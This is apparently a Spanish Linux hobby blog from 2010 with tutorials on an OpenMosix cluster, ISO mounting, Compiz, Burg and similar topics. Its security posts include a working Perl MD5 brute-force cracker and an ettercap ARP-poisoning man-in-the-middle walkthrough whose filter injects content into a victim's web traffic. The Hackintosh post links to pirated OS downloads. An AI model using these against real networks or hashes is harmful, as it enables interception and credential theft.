sábado, 13 de noviembre de 2010

OpenMosix

Material:

Kernel a parchear: en nuestro caso 2.4.20 ( es el Kernel )
http://www.kernel.org/pub/linux/kernel/v2.4/linux-2.4.20.tar.bz2

Parche 2.4.20-2 para soporte en kernel de OpenMosix ( el parche para poder migrar processos entre pcs )
http://switch.dl.sourceforge.net/sourceforge/openmosix/openMosix-2.4.20-2.gz


Openmosix Tools 0.3( configuración del cluster )
http://switch.dl.sourceforge.net/sourceforge/openmosix/openmosix-tools-0.3.tgz


Opcionalmente aunque es bastante recomendable el OpenMosixView 1.4 ( Para visualizar los nodos conectados de manera gràfica  ital )
http://www.openmosixview.com/download/openmosixview-1.4-new.tar.gz




Primero de todo nos bajamos el kernel y lo descomprimimos,

cd /usr/src
– tar -xvjf /ruta/de/descarga/linux-2.4.20.tar.bz2 si se ha descargado en
formato bzip2
tar -xvzf /ruta/de/descarga/linux-2.4.20.tar.gz si se ha descargado en
formato gzip
– Se crear ́ el directorio /usr/src/linux-2.4.20, es muy recomendable tener
a un link llamado /usr/src/linux que apunte al kernel en uso, conseguiremos esto con la orden
ln -s /usr/src/linux-2.4.20 /usr/src/linux

Luego procedemos a parchear el Kernel

– Copiamos el parche al directorio de fuentes:
cp /ruta/de/descarga/openMosix-2.4.20-2.gz /usr/src
– Lo descomprimimos: gunzip /usr/src/openMosix-2.4.20-2.gz
– Entramos en el directorio del kernel: cd /usr/src/linux
– aplicamos el parche: patch -p1 <../openMosix-2.4.20-2


Hecho esto ya deberiamos tener parcheado nuestro kernel con las características de OpenMosix luego ejecutamos make xconfig y seleccionamos las opciones que mas nos interessen

Compilación:
Como deberiais saber debemos hacer:
– make dep
– make clean
– make bzImage
– make modules
– make modules install


cp arch/i386/boot/bzImage /boot/vmlinuz-2.4.20-openmosix usaremos este comando para copiar el nuevo kernel y "instalarlo"
amos a suponer que usamos el programa de arranque Lilo, ademas instalaremos como otro arranque opcional por si algo falla poder rearrancar el sistema con algúnn otro kernel.


Se ha de editar el archivo /etc/lilo.conf y añadir:
image=/boot/vmlinuz-2.4.20-openmosix
label=OpenMosix
read-only

Luego instalamos las OpenMosix tools para configurar y manejar las opciones del cluster

Descompresión:

– cd /usr/src
– cp /ruta/de/descarga/openmosix-tools-0.3.tgz .
– tar -xvzf openmosix-tools-0.3.tgz
– Se crear ́ el directorio openmosix-tools-0.3/, entramos en el:
cd openmosix-tools-0.3



Compilación:

– Antes de nada editar el fichero configuration y buscamos la definición

de la variable OPENMOSIX, dejandola así:

OPENMOSIX=/usr/src/linux
– Ahora realizaremos la compilación propiamente dicha:

con un simple make all y luego make install

Luego instalamos OpenMosix View para visualizar gràficamente todos los nodos de nuestro cluster

Descompresión:

– cd /usr/src
– cp /ruta/de/descarga/openmosixview-1.4-new.tar.gz .
– tar -xvzf openmosixview-1.4-new.tar.gz
– Se crear el directorio openmosixview-1.4.new/, entramos en el:

cd openmosixview-1.4.new





Para compilar: ./configure make para compilarlo   y make install para instalarlo

Para configurar el cluster una vez instalado!

Configuración Manual

Primer es muy recomendable editar el archivo de hosts i asignarle un nombre de dominio a las IP's de los nodos para que sea mas sencillo referirnos a ellos

Una vez hecho eso (opcional) editamos el archivo /etc/openmosix.map

Su sintaxis es la siguiente:

– <identificador><nombre del nodo><rango>
 – El identificador debe ser unico para cada nodo.
– El nombre es el que le corresponde en /etc/hosts.
– El rango define cuantos nodos con IPs consecutivas existen a partir de
la definida, normalmente esta a 1.
– En el rango tambi ́ n puede ponerse la palabra ALIAS si ese nodo posee mas de un interfaz de red.


Ejemplo:
1 sid 1
2 potato 1
3 woody 1

Para el modo automàtico ejecutamos en la terminal omiscd y se encargará de hacer un broadcast por la red para localizar los nodos disponibles

Para iniciar el cluster
Al instalar las OpenMosixTools se habr ́ creado el script /etc/init.d/openmosix
Podemos lanzar, parar y relanzar el script que activa al nodo en el cluster
– Lanzarlo con /etc/init.d/openmosix start
– Relanzarlo para que recargue la configuraci ́ n con /etc/init.d/openmosix
restart
– Pararlo para que el nodo salga del cluster con /etc/init.d/openmosix
stop

A partir de aquí el resto es muy facil podemos usar mtop en la terminal, similar a top pero muestra los nodos i sus procesos y podemos usar openmosix view de manera gràfica i nos mostrara todos los nodos disponibles en la red i podremos manejarlos

domingo, 7 de noviembre de 2010

Hacer hablar a la terminal!

Pues el otro dia unos colegas(www.lapipaplena.com) me enseñaron este truco tan interesante para la terminal del linux, por ejemplo para usarlo en ubuntu,kubuntu,arch y tal. Se trata de una especie de sintetizador de voz que funciona a traves de la terminal: para instalarlo:

sudo aptitude install espeak

y para hacerlo hablar:

echo "Introduce tu texto aquí" | espeak -v spanish -s 200
 

miércoles, 29 de septiembre de 2010

Puentear una fuente de alimentacion ATX;Arrancarla fuera de la caja

Pues eso muchas veces intentando arreglar algún ordenador, poniendo en funcionamiento pc's viejos, montando algún pc con piezas sueltas, etc bueno por ejemplo en mi caso que ando estos dias con el proyecto de montar un cluster con varios pc's viejos pues a veces me ha hecho falta comprovar si funciona correctamente una fuente de alimentación antes de enchufarla al pc i ponerlo en marcha sobretodo cuando se trata de pc's viejos pues este es un pequeño tutorial de como hacer la comprovación:

Para empezar localizamos un clip y lo doblamos con una forma parecida a esta;


Luego localizamos el cable mas grande para hacernos una idea el que veis en la siguiente foto y sobretodo y mui importante introducimos el clip de manera que toque un cable verde y la otra punta del clip a uno de los negros







Bueno la teoria de esto esque; el pin verde es el de encendido y el pin negro es el de toma de tierra por lo cual si lo puenteamos así i lo conectamos a la electricidad el ventilador deberia empezar a girar i podriamos comprovar si funciona o no


Pues aquí teneis mas o menos el voltaje delos pins i su función en las fuentes ATX

Montar imagenes ISO en linux

Seguro que muchos alguna vez teneis un archivo en ISO que os apateceria ver y no teneis CDs o DVDs a mano para quemar o no quereis malgastarlo, en guindous teneis el daemon tools pero...y para que queremos usar la mierda del windows? pudiendo hacer lo mismo y mas en un sistema linux. Pues hay un programa que nos viene como anillo al dedo para montar imagenes ISO en linux se llama Acetone ISO

Lo bajamos de aquí: http://www.acetoneteam.org/ en Ubuntu por ejemplo:  
apt-get install acetoneiso




Una vez instalado lo ejecutamos desde la terminal escribiendo acetoneiso o desde el menú del gnome y lo configuramos un poco





y luego cargamos el archivo de iso en mi caso la de un livecd de backtrack







y veremos que en el propio escritorio nos ha aparecido el arhivo iso como si fuera una propia unidad de cd/dvd

Espero que os haya sido útil

Bueno en breves como voy diciendo cuestion de 1 o 2 semanas tendreis el tutorial del cluster pero voy subiendo mis aportes igualmente para no dejar tampoco abandonado esto..

domingo, 26 de septiembre de 2010

Hackintosh; Instalar mac en un pc

Puede que a muchos alguna vez hos haya picado la curiosidad sobre este sistema operativo de apple, pero claro a ver quien es el que se paga un Mac solo por el capricho de ver como funciona. Pues aquí os presento este pequeño tutorial para instalar el sistema operativo de Mac en una virtualbox, el procedimiento es exactamente el mismo para instalarlo en un pc solo que  las unidades virtuales seran las reales..ovbiamente xD. Empezamos!

1- Primero de tooodo nos bajamos aquí el virtualbox www.virtualbox.org nos bajamos la última version para nuestro sistema operativo, en el caso de ubuntu podemos instalarlo por apt-get o por el centro de software ital

2-Configuramos la máquina virtual para ello creamos una máquina virtual nueva con un disco duro de unos 20 gigas recomiendo y en configuración

Placa base: Quitar el “Disquete” de las unidades de BOOT, desmarcar la opción “Habilitar EFI (solo SO especiales)” y dejar marcadosHabilitar IO APIC” y “Habilitar dispositivo apuntador absoluto” 

Processador:  Verificar que este marcadoHabilitar PAE/NX 

Aceleracion:  Verificar que estén marcadas las dos opciones, “Habilitar VT-x/AMD-V” y “Habilitar paginación anidada” 

Video: Subir la memoria de video al máximo de 128MB y marcar la opción “Habilitar aceleración 3D

Red (adaptador uno): Verificar que este habilitado el adaptador de red y que esté conectado a “NAT” luego abrir la opción “Avanzadas” y cambiar el tipo de adaptador a “Intel PRO/1000 MT Server (82545EM)

Luego nos bajamos el sistema operativo iDeneb que es una versión de Mac Os X ideal para ser usada en Pc's nos va a venir al pelo en este caso

http://www.megaupload.com/?d=NFU1IKKV
http://www.megaupload.com/?d=6Y0S0XC5
http://www.megaupload.com/?d=0PC40X3A
http://www.megaupload.com/?d=I371LT1W
http://www.megaupload.com/?d=OWJPEYAZ
http://www.megaupload.com/?d=ASZYEB69
http://www.megaupload.com/?d=SMKJH9S8
http://www.megaupload.com/?d=H318MSH2
http://www.megaupload.com/?d=Z2ATPA0T
http://www.megaupload.com/?d=4B3EWP2G
http://www.megaupload.com/?d=0MJB4ENJ
http://www.megaupload.com/?d=SKBSMMZP
http://www.megaupload.com/?d=LFV7PYCV
http://www.megaupload.com/?d=48XT1RGV
http://www.megaupload.com/?d=VDLD3Y9L
http://www.megaupload.com/?d=BRQFDI7A
http://www.megaupload.com/?d=BN476IWU
http://www.megaupload.com/?d=UDPW7UDB
http://www.megaupload.com/?d=YMJK16JM
 
Luego en la carpeta que nos aparece al descomprimir la descarga localizamos en /mac el archivo iso i lo quemamos en un dvd o lo cargamos en la virtualbox iniciamos la máquina y si lo hemos hecho todo bien nos aparecerà:

Enfin no hay mucho misterio seguimos la instalación y si en el momento de escojer la unidad de memoria donde instalarlo no aparece nada, es porque tenemos que formatearla con el formato de mac desde





y luego le damos el formato:




 Una vez acabada la instalación aquí tenemos el resultado




Espero que os haya sido útil gente


PD: Proximamente tendreis el tutorial del cluster :)

martes, 21 de septiembre de 2010

Proyecto: Montar un cluster casero y programarle algunas aplicaciones


Pues eso es, los que os paseis por aquí habreis notado que hace algo de tiempo que no actualizo esto.Es debido mayormente en que dedico mi tiempo en un proyecto que tengo,la idea de esto es montar uncluster casero utilizando OpenMosix i programarle alguna aplicacion.Enfin cuando pueda ire publicando mas, i cuando lo tenga todo funcionando os va a caer un tutorial :D.

Greetz to: www.lapipaplena.com

Lo que espero hacer:

-Utilizar 3 ordenadores que tenemos por ahi; un par de IBM's del año de la peseta(como nodos) y un ASUS mas "modernillo"(como master) i conectarlos con un switch

-Instalar i configurar KlusterKnoppix, Quantian o un Debian con el parche OpenMosix i hacer que trabajen como un cluster

-Escribir el código de un crackeador de MD5 o cualquier otro programa (por ejemplo un calculador de PI o algo que use la potencia del processador y en el qual se note la velocidad del mismo i por lo cual se note si el cluster es funcional)

-Documentar todo el processo

En un par de findes trabajando lo tendremos listo :)

lunes, 6 de septiembre de 2010

crackear algoritmo MD5

Bueno pues ya suele pasar a veces eso de que.. pierdes una contraseña y resulta que tienes el hash en md5 y claro hay que desencriptarlo no? bueno pues aquí os dejo este codigo en perl que guardado con la extension .pl y ejecutado desde una terminal perl codigo.pl... con los parametros correctos i con el hash nos sacará la contraseña en un tiempo que depende de la potencia de nuestro pc y de la longitud de la contraseña


#!/usr/bin/perl
# MD5 Hash Bruteforce Kit
# Info[0] : Este crackeador no es de los mas rapidos pero es 100% funcional y me ha ayudado mucho
# Info[1] : Escrito bajo linux
# Info[2] : Si sabes perl puedes acabar de modificar este código para que crackee otros algoritmos o lo que quieras :)

$ver = "01";

$dbgtmr = "1"; #Intervall of showing the current speed + lastpassword in seconds.



if ($dbgtmr<=0){ die "Set dbgtmr to a value >=1 !\n";};
use Digest::MD5 qw(md5_hex);
use Time::HiRes qw(gettimeofday);

if ($ARGV[0]=~"a") {
$alpha = "abcdefghijklmnopqrstuvwxyz";}
if ($ARGV[0]=~"A") {
$alpha = $alpha. "ABCDEFGHIJKLMNOPQRSTUVWXYZ";}
if ($ARGV[0]=~"d") {
$alpha = $alpha."1234567890";}

if ($ARGV[0]=~"x") {

$alpha = $alpha. "!\"\$%&/()=?-.:\\*'-_:.;,";}

if ($alpha eq "" or $ARGV[3] eq "") {usage();};
if (length($ARGV[3]) != 32) { die "Sorry but it seems that the MD5 is not valid!\n";};

print "Selected charset for attack: '$alpha\'\n";
print "Going to Crack '$ARGV[3]'...\n";

for (my $t=$ARGV[1];$t<=$ARGV[2];$t++){
crack ($t);
}

sub usage{
print "\n\nMD5 Hash Bruteforce Kit v_$ver\n";
print "by n0mad (k1d.und\@gmail.com-bonn-rhein-sieg.de)\n";
print "http:\/\/home.inf.fh-rhein-sieg.de\/~ikarim2s\/\n\n";
print "USAGE\n";

print "./md5crack <charset> <mincount> <maxcount> <yourMD5>\n";
print " Charset can be: [aAdx]\n";
print " a = {'a','b','c',...}\n";
print " A = {'A','B','C',...}\n";
print " d = {'1','2','3',...}\n";
print " x = {'!','\"',' ',...}\n";
print "EXAMPLE FOR CRACKING A MD5 HASH\n";
print "./md5crack.pl ad 1 3 900150983cd24fb0d6963f7d28e17f72\n";
print " This example tries to crack the given MD5 with all lowercase Alphas and all digits.\n";
print " MD5 Kit only tries combinations with a length from 1 and 3 characters.\n-------\n";
print "./md5crack.pl aA 3 3 900150983cd24fb0d6963f7d28e17f72\n";
print " This example tries to crack the given MD5 with all lowercase Alphas and all uppercase Alphas.\n";
print " MD5 Kit only tries passwords which length is exactly 3 characters.\n-------\n";
print "./md5crack.pl aAdx 1 10 900150983cd24fb0d6963f7d28e17f72\n";
print " This example tries to crack the given MD5 with nearly every character.\n";
print " MD5 Kit only tries combinations with a length from 1 to 10 characters.\n";
die "Quitting...\n";

}

sub crack{
$CharSet = shift;
@RawString = ();
for (my $i =0;$i<$CharSet;$i++){ $RawString[i] = 0;}

$Start = gettimeofday();
do{
  for (my $i =0;$i<$CharSet;$i++){
   if ($RawString[$i] > length($alpha)-1){
    if ($i==$CharSet-1){
    print "Bruteforcing done with $CharSet Chars. No Results.\n";
    $cnt=0;
    return false;
   }
   $RawString[$i+1]++;
   $RawString[$i]=0;
   }
  }

###################################################

   $ret = "";
   for (my $i =0;$i<$CharSet;$i++){ $ret = $ret . substr($alpha,$RawString[$i],1);}
   $hash = md5_hex($ret);
   $cnt++;
   $Stop = gettimeofday();
   if ($Stop-$Start>$dbgtmr){
    $cnt = int($cnt/$dbgtmr);
    print "$cnt hashes\\second.\tLast Pass '$ret\'\n";
    $cnt=0;
    $Start = gettimeofday();
   }
            print "$ARGV[3] != $hash ($ret)\n";
   if ($ARGV[3] eq $hash){
    die "\n**** Password Cracked! => $ret\n";
   }

###################################################

  #checkhash($CharSet)."\n";

  $RawString[0]++;
}while($RawString[$CharSet-1]<length($alpha));
}

sub checkhash{
$CharSet = shift;
$ret = "";
for (my $i =0;$i<$CharSet;$i++){ $ret = $ret . substr($alpha,$RawString[$i],1);}
$hash = md5_hex($ret);
$cnt++;
$Stop = gettimeofday();
if ($Stop-$Start>$dbgtmr){
  $cnt = int($cnt/$dbgtmr);
  print "$cnt hashes\\second.\tLast Pass '$ret\'\n";
  $cnt=0;
  $Start = gettimeofday();
}

if ($ARGV[3] eq $hash){
  die "\n**** Password Cracked yeah! => $ret\n";
}




}
 Bueno seguido una prueba para que veais que funciona..

jueves, 2 de septiembre de 2010

Compilar c/c++ en ubuntu linux

Bien, a muchos que nos gusta la informática nos gusta tambien dentro de este ambito el tema de la programación, y para los que usamos sistemas GNU/linux aquí un breve tutorial sobre como compilar c/c++ un lenguaje muy popular&útil a la hora de crear cualquier tipo de programa

abrimos terminal:

sudo apt-get install build-essential
Aun que lo mas seguro esque ya la tengamos instalada, luego tendremos 2 opciones para escribir nuestros programas, usar un editor de texto tipo gedit o usar algun IDE como por ejemplo geany

sudo apt-get install geany
una vez instalado aplicaciones>programación>geany.
 luego podemos probar por ejemplo a copiar este codigo
 
#include<stdio>
main()
{
      printf("Hola mundo");
     }


O algo por el estilo, guardarlo, compilarlo y luego el programa creará el archivo objeto por ejemplo programa.o. Bueno podemos ejecutarlo y compilarlo desde geany pero para los que queremos usar la terminal o usemos otro editor o lo que sea seguimos con este paso:
luego abrimos una terminal y nos movemos al directorio donde esta el archivo objeto y hacemos

 gcc programa.c -o ejecutable

y luego pa abrirlo

$ ./ejecutable
si el progama es en c++ envez de gcc programa usariamos g++ programa

sábado, 28 de agosto de 2010

Compiz fusion + extra pluggins

Compiz fussion es una aplicación que nos sirve para añadir efectos de escritorio todo guays a nuestro ordenata con ubuntu y asi vacilar de sistema operativo por ahí, Instalación:


glxinfo | grep direct
direct rendering: Yes
Para instalar compiz fusion completo en la terminal ponemos..:

sudo aptitude install compizconfig-settings-manager
para meterle los pluggins extra:

sudo aptitude install compiz-fusion-plugins-extra
instalamos emerald para ponerle temas mas currados:

sudo aptitude install emerald fusion-icon
luego ejecutamos  sudo apt-get update &  sudo apt-get upgrade 

luego vamos a sistema>preferencias>administracion de compiz config y ya podemos empezar a configurar

que no falte el pantallazo :

Instalación de burg en ubuntu

Burg es un bonito programa que nos servirá para personalizar el arranque de nuestro ordenata y no tener el triste menú de arranque en blanco y negro los comandos a ejecutar en terminal son estos


sudo add-apt-repository ppa:bean123ch/burg
sudo apt-get update
i luego de  añadir los repositorios con los comandos anteriores hacemos:

sudo apt-get install burg burg-emu burg-pc burg-themes-common burg-common burg-themes

si os sale una pantalla el primer campo que salga lo dejais en blanco y en el otro poneis "quiet splash" sin las comillas eh

en la siguiente pantalla que os saldrá al darle al intro o pulsar siguiente marcais /dev/sda
y le damos a siguiente, adelante, pulsamos intro, enfin seguimos y bueno hecho esto ya tendremos el burg instalado al arrancar la máquina si pulsamos t podemos elejir el tema para el arranque del grub
si quieremos ver los temas instalados le damos a
sudo burg-emu -r host
 Aquí teneis un ejemplo de burg que nos da a escojer con este tema tan pr0 entre un ubuntu linux y una mierda de windows

Man in the middle con ettercap & filtro para modificar los paquetes

Primero de todo arrancamos el ettercap, en caso de no tenerlo

 # apt-get install ettercap-gtk

1 nos vamos a la pestaña de snif y le damos a unfield snifing

2 seleccionamos la interfaz a espiar (eth0,wlan0..etc)

3 nos vamos a la pestaña hosts, scan for host y abajo nos aparecera x host alive o algo por el estilo luego en la misma pestaña le damos a host list y seleccionamos la ip del router como target 1 i la ip de la maquina victima como target 2 (tambien podemos poner como target 1 la victima i como target 2 el router es indiferente...)

4 nos dirigimos a la pestaña Mitm, luego le damos a arp poisoning marcamos la casilla snif remote connections y aceptar

5 le damos a star snifing

6 le damos a wiev y luego a connections y aquí podremos ir viendo los paquetes que pasan entre el router y el pc victima si le damos doble click a alguno de ellos deberia mostrarse su contenido

Una vez hecho todo esto si nos interessa jugar un poco mas con el ettercap podemos probar a usar este filtro tan interesante de aqui
if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
      msg("zapped Accept-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
   replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
   msg("Filter Ran.\n");
}

lo guardamos con extension imagen.filter i ejecutamos en terminal para "compilarlo"

$ etterfilter imagen.filter -o imagen.ef  

el resultado (imagen.ef) lo guardamos en : /usr/share/ettercap

Luego arrancamos de nuevo ettercap pero antes de todo nos vamos a filter>load filter>i seleccionamos imagen.ef luego realizamos el ataque man in the middle
y cuando el otro pc cargue una pag le saldrá algo parecido a esto...



interesante eh, pues el código del filtro se basa en reemplazar sentencias html por otras por lo cual le podemos dar diferentes usos, si por ejemplo envez de reemplazar img src="....  hacemos que reemplace alguna tag relacionada cone l texto podemos obtener algo asi:


enfin con esto seguro que se os ocurren mil trastadas para hacer con ettercap
y añado la parte del código a reemplazar es:

   replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
   replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");

huevo de pasqua en ubuntu

Pues nada, para romper el hielo.. hace ya tiempo que explorando la red me percaté de la existencia de este comando tan simpático
abran una terminal y escriban:

$ apt-get moo
lo que nos devolverá algo así como:
fulanito@ubuntu:~$ apt-get moo
(__)
(oo)
/------\/
/ | ||
* /\---/\
~~ ~~
...."Have you mooed today?"...
interesante eh?

viernes, 27 de agosto de 2010

hello world

#include<stdio>
main()
{
      printf("Hola mundo,aquí teneis otro blog mas sobre
               paridas frikadas linux y seguridad informatica");
     }